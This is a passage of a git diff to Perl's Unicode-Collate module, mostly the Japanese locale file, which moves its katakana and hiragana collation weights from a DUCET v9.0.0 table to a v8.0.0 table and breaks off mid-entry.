CAPITAL LETTER O WITH STROKE +01FF ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +00E5 ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F13.0020.0008] # ANGSTROM SIGN +01FB ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ja.pl b/cpan/Unicode-Collate/Collate/Locale/ja.pl index 6562562dae49..90c0bd0200b1 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ja.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ja.pl @@ -1,1337 +1,1337 @@ use Unicode::Collate::CJK::JISX0208; +{ - locale_version => 1.25, + locale_version => 1.19, overrideCJK => \&Unicode::Collate::CJK::JISX0208::weightJISX0208, - entry => <<'ENTRY', # for DUCET v9.0.0 -30A1 ; [.3D5A.0020.000F.0002] # KATAKANA LETTER SMALL A -30A2 ; [.3D5A.0020.0011.0002] # KATAKANA LETTER A -30A3 ; [.3D5B.0020.000F.0002] # KATAKANA LETTER SMALL I -30A4 ; [.3D5B.0020.0011.0002] # KATAKANA LETTER I -30A5 ; [.3D5C.0020.000F.0002] # KATAKANA LETTER SMALL U -30A6 ; [.3D5C.0020.0011.0002] # KATAKANA LETTER U -30A7 ; [.3D5E.0020.000F.0002] # KATAKANA LETTER SMALL E -30A8 ; [.3D5E.0020.0011.0002] # KATAKANA LETTER E -30A9 ; [.3D5F.0020.000F.0002] # KATAKANA LETTER SMALL O -30AA ; [.3D5F.0020.0011.0002] # KATAKANA LETTER O -30AB ; [.3D60.0020.0011.0002] # KATAKANA LETTER KA -30AC ; [.3D60.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GA -30AD ; [.3D61.0020.0011.0002] # KATAKANA LETTER KI -30AE ; [.3D61.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GI -30AF ; [.3D62.0020.0011.0002] # KATAKANA LETTER KU -30B0 ; [.3D62.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GU -30B1 ; [.3D63.0020.0011.0002] # KATAKANA LETTER KE -30B2 ; [.3D63.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GE -30B3 ; [.3D64.0020.0011.0002] # KATAKANA LETTER KO -30B4 ; [.3D64.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GO -30B5 ; [.3D65.0020.0011.0002] # KATAKANA LETTER SA -30B6 ; [.3D65.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZA -30B7 ; [.3D66.0020.0011.0002] # KATAKANA LETTER SI -30B8 ; [.3D66.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZI -30B9 ; [.3D67.0020.0011.0002] # KATAKANA LETTER SU -30BA ; [.3D67.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZU -30BB ; [.3D68.0020.0011.0002] # KATAKANA LETTER SE -30BC ; [.3D68.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZE -30BD ; [.3D69.0020.0011.0002] # KATAKANA LETTER SO -30BE ; [.3D69.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZO -30BF ; [.3D6A.0020.0011.0002] # KATAKANA LETTER TA -30C0 ; [.3D6A.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DA -30C1 ; [.3D6B.0020.0011.0002] # KATAKANA LETTER TI -30C2 ; [.3D6B.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DI -30C3 ; [.3D6C.0020.000F.0002] # KATAKANA LETTER SMALL TU -30C4 ; [.3D6C.0020.0011.0002] # KATAKANA LETTER TU -30C5 ; [.3D6C.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DU -30C6 ; [.3D6D.0020.0011.0002] # KATAKANA LETTER TE -30C7 ; [.3D6D.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DE -30C8 ; [.3D6E.0020.0011.0002] # KATAKANA LETTER TO -30C9 ; [.3D6E.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DO -30CA ; [.3D6F.0020.0011.0002] # KATAKANA LETTER NA -30CB ; [.3D70.0020.0011.0002] # KATAKANA LETTER NI -30CC ; [.3D71.0020.0011.0002] # KATAKANA LETTER NU -30CD ; [.3D72.0020.0011.0002] # KATAKANA LETTER NE -30CE ; [.3D73.0020.0011.0002] # KATAKANA LETTER NO -30CF ; [.3D74.0020.0011.0002] # KATAKANA LETTER HA -30D0 ; [.3D74.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BA -30D1 ; [.3D74.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PA -30D2 ; [.3D75.0020.0011.0002] # KATAKANA LETTER HI -30D3 ; [.3D75.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BI -30D4 ; [.3D75.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PI -30D5 ; [.3D76.0020.0011.0002] # KATAKANA LETTER HU -30D6 ; [.3D76.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BU -30D7 ; [.3D76.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PU -30D8 ; [.3D77.0020.0011.0002] # KATAKANA LETTER HE -30D9 ; [.3D77.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BE -30DA ; [.3D77.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PE -30DB ; [.3D78.0020.0011.0002] # KATAKANA LETTER HO -30DC ; [.3D78.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BO -30DD ; [.3D78.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PO -30DE ; [.3D79.0020.0011.0002] # KATAKANA LETTER MA -30DF ; [.3D7A.0020.0011.0002] # KATAKANA LETTER MI -30E0 ; [.3D7B.0020.0011.0002] # KATAKANA LETTER MU -30E1 ; [.3D7C.0020.0011.0002] # KATAKANA LETTER ME -30E2 ; [.3D7D.0020.0011.0002] # KATAKANA LETTER MO -30E3 ; [.3D7E.0020.000F.0002] # KATAKANA LETTER SMALL YA -30E4 ; [.3D7E.0020.0011.0002] # KATAKANA LETTER YA -30E5 ; [.3D7F.0020.000F.0002] # KATAKANA LETTER SMALL YU -30E6 ; [.3D7F.0020.0011.0002] # KATAKANA LETTER YU -30E7 ; [.3D81.0020.000F.0002] # KATAKANA LETTER SMALL YO -30E8 ; [.3D81.0020.0011.0002] # KATAKANA LETTER YO -30E9 ; [.3D82.0020.0011.0002] # KATAKANA LETTER RA -30EA ; [.3D83.0020.0011.0002] # KATAKANA LETTER RI -30EB ; [.3D84.0020.0011.0002] # KATAKANA LETTER RU -30EC ; [.3D85.0020.0011.0002] # KATAKANA LETTER RE -30ED ; [.3D86.0020.0011.0002] # KATAKANA LETTER RO -30EE ; [.3D87.0020.000F.0002] # KATAKANA LETTER SMALL WA -30EF ; [.3D87.0020.0011.0002] # KATAKANA LETTER WA -30F0 ; [.3D88.0020.0011.0002] # KATAKANA LETTER WI -30F1 ; [.3D89.0020.0011.0002] # KATAKANA LETTER WE -30F2 ; [.3D8A.0020.0011.0002] # KATAKANA LETTER WO -30F3 ; [.3D8B.0020.0011.0002] # KATAKANA LETTER N -30F4 ; [.3D5C.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VU -30F5 ; [.3D60.0020.000F.0002] # KATAKANA LETTER SMALL KA -30F6 ; [.3D63.0020.000F.0002] # KATAKANA LETTER SMALL KE -30F7 ; [.3D87.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VA -30F8 ; [.3D88.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VI -30F9 ; [.3D89.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VE -30FA ; [.3D8A.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VO -30FD ; [.1C0F.0020.0002.0002] # KATAKANA ITERATION MARK -30FE ; [.1C0F.0020.0002.0002][.0000.0037.0002] # KATAKANA VOICED ITERATION MARK -3041 ; [.3D5A.0020.000F.0001] # HIRAGANA LETTER SMALL A -3042 ; [.3D5A.0020.0011.0001] # HIRAGANA LETTER A -3043 ; [.3D5B.0020.000F.0001] # HIRAGANA LETTER SMALL I -3044 ; [.3D5B.0020.0011.0001] # HIRAGANA LETTER I -3045 ; [.3D5C.0020.000F.0001] # HIRAGANA LETTER SMALL U -3046 ; [.3D5C.0020.0011.0001] # HIRAGANA LETTER U -3047 ; [.3D5E.0020.000F.0001] # HIRAGANA LETTER SMALL E -3048 ; [.3D5E.0020.0011.0001] # HIRAGANA LETTER E -3049 ; [.3D5F.0020.000F.0001] # HIRAGANA LETTER SMALL O -304A ; [.3D5F.0020.0011.0001] # HIRAGANA LETTER O -304B ; [.3D60.0020.0011.0001] # HIRAGANA LETTER KA -304C ; [.3D60.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GA -304D ; [.3D61.0020.0011.0001] # HIRAGANA LETTER KI -304E ; [.3D61.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GI -304F ; [.3D62.0020.0011.0001] # HIRAGANA LETTER KU -3050 ; [.3D62.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GU -3051 ; [.3D63.0020.0011.0001] # HIRAGANA LETTER KE -3052 ; [.3D63.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GE -3053 ; [.3D64.0020.0011.0001] # HIRAGANA LETTER KO -3054 ; [.3D64.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GO -3055 ; [.3D65.0020.0011.0001] # HIRAGANA LETTER SA -3056 ; [.3D65.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZA -3057 ; [.3D66.0020.0011.0001] # HIRAGANA LETTER SI -3058 ; [.3D66.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZI -3059 ; [.3D67.0020.0011.0001] # HIRAGANA LETTER SU -305A ; [.3D67.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZU -305B ; [.3D68.0020.0011.0001] # HIRAGANA LETTER SE -305C ; [.3D68.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZE -305D ; [.3D69.0020.0011.0001] # HIRAGANA LETTER SO -305E ; [.3D69.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZO -305F ; [.3D6A.0020.0011.0001] # HIRAGANA LETTER TA -3060 ; [.3D6A.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DA -3061 ; [.3D6B.0020.0011.0001] # HIRAGANA LETTER TI -3062 ; [.3D6B.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DI -3063 ; [.3D6C.0020.000F.0001] # HIRAGANA LETTER SMALL TU -3064 ; [.3D6C.0020.0011.0001] # HIRAGANA LETTER TU -3065 ; [.3D6C.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DU -3066 ; [.3D6D.0020.0011.0001] # HIRAGANA LETTER TE -3067 ; [.3D6D.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DE -3068 ; [.3D6E.0020.0011.0001] # HIRAGANA LETTER TO -3069 ; [.3D6E.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DO -306A ; [.3D6F.0020.0011.0001] # HIRAGANA LETTER NA -306B ; [.3D70.0020.0011.0001] # HIRAGANA LETTER NI -306C ; [.3D71.0020.0011.0001] # HIRAGANA LETTER NU -306D ; [.3D72.0020.0011.0001] # HIRAGANA LETTER NE -306E ; [.3D73.0020.0011.0001] # HIRAGANA LETTER NO -306F ; [.3D74.0020.0011.0001] # HIRAGANA LETTER HA -3070 ; [.3D74.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BA -3071 ; [.3D74.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PA -3072 ; [.3D75.0020.0011.0001] # HIRAGANA LETTER HI -3073 ; [.3D75.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BI -3074 ; [.3D75.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PI -3075 ; [.3D76.0020.0011.0001] # HIRAGANA LETTER HU -3076 ; [.3D76.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BU -3077 ; [.3D76.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PU -3078 ; [.3D77.0020.0011.0001] # HIRAGANA LETTER HE -3079 ; [.3D77.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BE -307A ; [.3D77.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PE -307B ; [.3D78.0020.0011.0001] # HIRAGANA LETTER HO -307C ; [.3D78.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BO -307D ; [.3D78.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PO -307E ; [.3D79.0020.0011.0001] # HIRAGANA LETTER MA -307F ; [.3D7A.0020.0011.0001] # HIRAGANA LETTER MI -3080 ; [.3D7B.0020.0011.0001] # HIRAGANA LETTER MU -3081 ; [.3D7C.0020.0011.0001] # HIRAGANA LETTER ME -3082 ; [.3D7D.0020.0011.0001] # HIRAGANA LETTER MO -3083 ; [.3D7E.0020.000F.0001] # HIRAGANA LETTER SMALL YA -3084 ; [.3D7E.0020.0011.0001] # HIRAGANA LETTER YA -3085 ; [.3D7F.0020.000F.0001] # HIRAGANA LETTER SMALL YU -3086 ; [.3D7F.0020.0011.0001] # HIRAGANA LETTER YU -3087 ; [.3D81.0020.000F.0001] # HIRAGANA LETTER SMALL YO -3088 ; [.3D81.0020.0011.0001] # HIRAGANA LETTER YO -3089 ; [.3D82.0020.0011.0001] # HIRAGANA LETTER RA -308A ; [.3D83.0020.0011.0001] # HIRAGANA LETTER RI -308B ; [.3D84.0020.0011.0001] # HIRAGANA LETTER RU -308C ; [.3D85.0020.0011.0001] # HIRAGANA LETTER RE -308D ; [.3D86.0020.0011.0001] # HIRAGANA LETTER RO -308E ; [.3D87.0020.000F.0001] # HIRAGANA LETTER SMALL WA -308F ; [.3D87.0020.0011.0001] # HIRAGANA LETTER WA -3090 ; [.3D88.0020.0011.0001] # HIRAGANA LETTER WI -3091 ; [.3D89.0020.0011.0001] # HIRAGANA LETTER WE -3092 ; [.3D8A.0020.0011.0001] # HIRAGANA LETTER WO -3093 ; [.3D8B.0020.0011.0001] # HIRAGANA LETTER N -3094 ; [.3D5C.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER VU -3095 ; [.3D60.0020.000F.0001] # HIRAGANA LETTER SMALL KA -3096 ; [.3D63.0020.000F.0001] # HIRAGANA LETTER SMALL KE -309D ; [.1C0F.0020.0002.0001] # HIRAGANA ITERATION MARK -309E ; [.1C0F.0020.0002.0001][.0000.0037.0002] # HIRAGANA VOICED ITERATION MARK + entry => <<'ENTRY', # for DUCET v8.0.0 +30A1 ; [.3BC3.0020.000F.0002] # KATAKANA LETTER SMALL A +30A2 ; [.3BC3.0020.0011.0002] # KATAKANA LETTER A +30A3 ; [.3BC4.0020.000F.0002] # KATAKANA LETTER SMALL I +30A4 ; [.3BC4.0020.0011.0002] # KATAKANA LETTER I +30A5 ; [.3BC5.0020.000F.0002] # KATAKANA LETTER SMALL U +30A6 ; [.3BC5.0020.0011.0002] # KATAKANA LETTER U +30A7 ; [.3BC7.0020.000F.0002] # KATAKANA LETTER SMALL E +30A8 ; [.3BC7.0020.0011.0002] # KATAKANA LETTER E +30A9 ; [.3BC8.0020.000F.0002] # KATAKANA LETTER SMALL O +30AA ; [.3BC8.0020.0011.0002] # KATAKANA LETTER O +30AB ; [.3BC9.0020.0011.0002] # KATAKANA LETTER KA +30AC ; [.3BC9.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GA +30AD ; [.3BCA.0020.0011.0002] # KATAKANA LETTER KI +30AE ; [.3BCA.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GI +30AF ; [.3BCB.0020.0011.0002] # KATAKANA LETTER KU +30B0 ; [.3BCB.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GU +30B1 ; [.3BCC.0020.0011.0002] # KATAKANA LETTER KE +30B2 ; [.3BCC.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GE +30B3 ; [.3BCD.0020.0011.0002] # KATAKANA LETTER KO +30B4 ; [.3BCD.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GO +30B5 ; [.3BCE.0020.0011.0002] # KATAKANA LETTER SA +30B6 ; [.3BCE.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZA +30B7 ; [.3BCF.0020.0011.0002] # KATAKANA LETTER SI +30B8 ; [.3BCF.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZI +30B9 ; [.3BD0.0020.0011.0002] # KATAKANA LETTER SU +30BA ; [.3BD0.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZU +30BB ; [.3BD1.0020.0011.0002] # KATAKANA LETTER SE +30BC ; [.3BD1.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZE +30BD ; [.3BD2.0020.0011.0002] # KATAKANA LETTER SO +30BE ; [.3BD2.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZO +30BF ; [.3BD3.0020.0011.0002] # KATAKANA LETTER TA +30C0 ; [.3BD3.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DA +30C1 ; [.3BD4.0020.0011.0002] # KATAKANA LETTER TI +30C2 ; [.3BD4.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DI +30C3 ; [.3BD5.0020.000F.0002] # KATAKANA LETTER SMALL TU +30C4 ; [.3BD5.0020.0011.0002] # KATAKANA LETTER TU +30C5 ; [.3BD5.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DU +30C6 ; [.3BD6.0020.0011.0002] # KATAKANA LETTER TE +30C7 ; [.3BD6.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DE +30C8 ; [.3BD7.0020.0011.0002] # KATAKANA LETTER TO +30C9 ; [.3BD7.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DO +30CA ; [.3BD8.0020.0011.0002] # KATAKANA LETTER NA +30CB ; [.3BD9.0020.0011.0002] # KATAKANA LETTER NI +30CC ; [.3BDA.0020.0011.0002] # KATAKANA LETTER NU +30CD ; [.3BDB.0020.0011.0002] # KATAKANA LETTER NE +30CE ; [.3BDC.0020.0011.0002] # KATAKANA LETTER NO +30CF ; [.3BDD.0020.0011.0002] # KATAKANA LETTER HA +30D0 ; [.3BDD.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BA +30D1 ; [.3BDD.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PA +30D2 ; [.3BDE.0020.0011.0002] # KATAKANA LETTER HI +30D3 ; [.3BDE.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BI +30D4 ; [.3BDE.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PI +30D5 ; [.3BDF.0020.0011.0002] # KATAKANA LETTER HU +30D6 ; [.3BDF.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BU +30D7 ; [.3BDF.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PU +30D8 ; [.3BE0.0020.0011.0002] # KATAKANA LETTER HE +30D9 ; [.3BE0.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BE +30DA ; [.3BE0.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PE +30DB ; [.3BE1.0020.0011.0002] # KATAKANA LETTER HO +30DC ; [.3BE1.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BO +30DD ; [.3BE1.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PO +30DE ; [.3BE2.0020.0011.0002] # KATAKANA LETTER MA +30DF ; [.3BE3.0020.0011.0002] # KATAKANA LETTER MI +30E0 ; [.3BE4.0020.0011.0002] # KATAKANA LETTER MU +30E1 ; [.3BE5.0020.0011.0002] # KATAKANA LETTER ME +30E2 ; [.3BE6.0020.0011.0002] # KATAKANA LETTER MO +30E3 ; [.3BE7.0020.000F.0002] # KATAKANA LETTER SMALL YA +30E4 ; [.3BE7.0020.0011.0002] # KATAKANA LETTER YA +30E5 ; [.3BE8.0020.000F.0002] # KATAKANA LETTER SMALL YU +30E6 ; [.3BE8.0020.0011.0002] # KATAKANA LETTER YU +30E7 ; [.3BEA.0020.000F.0002] # KATAKANA LETTER SMALL YO +30E8 ; [.3BEA.0020.0011.0002] # KATAKANA LETTER YO +30E9 ; [.3BEB.0020.0011.0002] # KATAKANA LETTER RA +30EA ; [.3BEC.0020.0011.0002] # KATAKANA LETTER RI +30EB ; [.3BED.0020.0011.0002] # KATAKANA LETTER RU +30EC ; [.3BEE.0020.0011.0002] # KATAKANA LETTER RE +30ED ; [.3BEF.0020.0011.0002] # KATAKANA LETTER RO +30EE ; [.3BF0.0020.000F.0002] # KATAKANA LETTER SMALL WA +30EF ; [.3BF0.0020.0011.0002] # KATAKANA LETTER WA +30F0 ; [.3BF1.0020.0011.0002] # KATAKANA LETTER WI +30F1 ; [.3BF2.0020.0011.0002] # KATAKANA LETTER WE +30F2 ; [.3BF3.0020.0011.0002] # KATAKANA LETTER WO +30F3 ; [.3BF4.0020.0011.0002] # KATAKANA LETTER N +30F4 ; [.3BC5.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VU +30F5 ; [.3BC9.0020.000F.0002] # KATAKANA LETTER SMALL KA +30F6 ; [.3BCC.0020.000F.0002] # KATAKANA LETTER SMALL KE +30F7 ; [.3BF0.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VA +30F8 ; [.3BF1.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VI +30F9 ; [.3BF2.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VE +30FA ; [.3BF3.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VO +30FD ; [.1B8A.0020.0002.0002] # KATAKANA ITERATION MARK +30FE ; [.1B8A.0020.0002.0002][.0000.0037.0002] # KATAKANA VOICED ITERATION MARK +3041 ; [.3BC3.0020.000F.0001] # HIRAGANA LETTER SMALL A +3042 ; [.3BC3.0020.0011.0001] # HIRAGANA LETTER A +3043 ; [.3BC4.0020.000F.0001] # HIRAGANA LETTER SMALL I +3044 ; [.3BC4.0020.0011.0001] # HIRAGANA LETTER I +3045 ; [.3BC5.0020.000F.0001] # HIRAGANA LETTER SMALL U +3046 ; [.3BC5.0020.0011.0001] # HIRAGANA LETTER U +3047 ; [.3BC7.0020.000F.0001] # HIRAGANA LETTER SMALL E +3048 ; [.3BC7.0020.0011.0001] # HIRAGANA LETTER E +3049 ; [.3BC8.0020.000F.0001] # HIRAGANA LETTER SMALL O +304A ; [.3BC8.0020.0011.0001] # HIRAGANA LETTER O +304B ; [.3BC9.0020.0011.0001] # HIRAGANA LETTER KA +304C ; [.3BC9.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GA +304D ; [.3BCA.0020.0011.0001] # HIRAGANA LETTER KI +304E ; [.3BCA.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GI +304F ; [.3BCB.0020.0011.0001] # HIRAGANA LETTER KU +3050 ; [.3BCB.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GU +3051 ; [.3BCC.0020.0011.0001] # HIRAGANA LETTER KE +3052 ; [.3BCC.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GE +3053 ; [.3BCD.0020.0011.0001] # HIRAGANA LETTER KO +3054 ; [.3BCD.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER GO +3055 ; [.3BCE.0020.0011.0001] # HIRAGANA LETTER SA +3056 ; [.3BCE.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZA +3057 ; [.3BCF.0020.0011.0001] # HIRAGANA LETTER SI +3058 ; [.3BCF.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZI +3059 ; [.3BD0.0020.0011.0001] # HIRAGANA LETTER SU +305A ; [.3BD0.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZU +305B ; [.3BD1.0020.0011.0001] # HIRAGANA LETTER SE +305C ; [.3BD1.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZE +305D ; [.3BD2.0020.0011.0001] # HIRAGANA LETTER SO +305E ; [.3BD2.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER ZO +305F ; [.3BD3.0020.0011.0001] # HIRAGANA LETTER TA +3060 ; [.3BD3.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DA +3061 ; [.3BD4.0020.0011.0001] # HIRAGANA LETTER TI +3062 ; [.3BD4.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DI +3063 ; [.3BD5.0020.000F.0001] # HIRAGANA LETTER SMALL TU +3064 ; [.3BD5.0020.0011.0001] # HIRAGANA LETTER TU +3065 ; [.3BD5.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DU +3066 ; [.3BD6.0020.0011.0001] # HIRAGANA LETTER TE +3067 ; [.3BD6.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DE +3068 ; [.3BD7.0020.0011.0001] # HIRAGANA LETTER TO +3069 ; [.3BD7.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER DO +306A ; [.3BD8.0020.0011.0001] # HIRAGANA LETTER NA +306B ; [.3BD9.0020.0011.0001] # HIRAGANA LETTER NI +306C ; [.3BDA.0020.0011.0001] # HIRAGANA LETTER NU +306D ; [.3BDB.0020.0011.0001] # HIRAGANA LETTER NE +306E ; [.3BDC.0020.0011.0001] # HIRAGANA LETTER NO +306F ; [.3BDD.0020.0011.0001] # HIRAGANA LETTER HA +3070 ; [.3BDD.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BA +3071 ; [.3BDD.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PA +3072 ; [.3BDE.0020.0011.0001] # HIRAGANA LETTER HI +3073 ; [.3BDE.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BI +3074 ; [.3BDE.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PI +3075 ; [.3BDF.0020.0011.0001] # HIRAGANA LETTER HU +3076 ; [.3BDF.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BU +3077 ; [.3BDF.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PU +3078 ; [.3BE0.0020.0011.0001] # HIRAGANA LETTER HE +3079 ; [.3BE0.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BE +307A ; [.3BE0.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PE +307B ; [.3BE1.0020.0011.0001] # HIRAGANA LETTER HO +307C ; [.3BE1.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER BO +307D ; [.3BE1.0020.0011.0001][.0000.0038.0002] # HIRAGANA LETTER PO +307E ; [.3BE2.0020.0011.0001] # HIRAGANA LETTER MA +307F ; [.3BE3.0020.0011.0001] # HIRAGANA LETTER MI +3080 ; [.3BE4.0020.0011.0001] # HIRAGANA LETTER MU +3081 ; [.3BE5.0020.0011.0001] # HIRAGANA LETTER ME +3082 ; [.3BE6.0020.0011.0001] # HIRAGANA LETTER MO +3083 ; [.3BE7.0020.000F.0001] # HIRAGANA LETTER SMALL YA +3084 ; [.3BE7.0020.0011.0001] # HIRAGANA LETTER YA +3085 ; [.3BE8.0020.000F.0001] # HIRAGANA LETTER SMALL YU +3086 ; [.3BE8.0020.0011.0001] # HIRAGANA LETTER YU +3087 ; [.3BEA.0020.000F.0001] # HIRAGANA LETTER SMALL YO +3088 ; [.3BEA.0020.0011.0001] # HIRAGANA LETTER YO +3089 ; [.3BEB.0020.0011.0001] # HIRAGANA LETTER RA +308A ; [.3BEC.0020.0011.0001] # HIRAGANA LETTER RI +308B ; [.3BED.0020.0011.0001] # HIRAGANA LETTER RU +308C ; [.3BEE.0020.0011.0001] # HIRAGANA LETTER RE +308D ; [.3BEF.0020.0011.0001] # HIRAGANA LETTER RO +308E ; [.3BF0.0020.000F.0001] # HIRAGANA LETTER SMALL WA +308F ; [.3BF0.0020.0011.0001] # HIRAGANA LETTER WA +3090 ; [.3BF1.0020.0011.0001] # HIRAGANA LETTER WI +3091 ; [.3BF2.0020.0011.0001] # HIRAGANA LETTER WE +3092 ; [.3BF3.0020.0011.0001] # HIRAGANA LETTER WO +3093 ; [.3BF4.0020.0011.0001] # HIRAGANA LETTER N +3094 ; [.3BC5.0020.0011.0001][.0000.0037.0002] # HIRAGANA LETTER VU +3095 ; [.3BC9.0020.000F.0001] # HIRAGANA LETTER SMALL KA +3096 ; [.3BCC.0020.000F.0001] # HIRAGANA LETTER SMALL KE +309D ; [.1B8A.0020.0002.0001] # HIRAGANA ITERATION MARK +309E ; [.1B8A.0020.0002.0001][.0000.0037.0002] # HIRAGANA VOICED ITERATION MARK 3000 ; [*0209.0020.0002] # IDEOGRAPHIC SPACE -FF01 ; [*0260.0020.0002] # FULLWIDTH EXCLAMATION MARK -FF02 ; [*030C.0020.0002] # FULLWIDTH QUOTATION MARK -FF03 ; [*0398.0020.0002] # FULLWIDTH NUMBER SIGN -FF04 ; 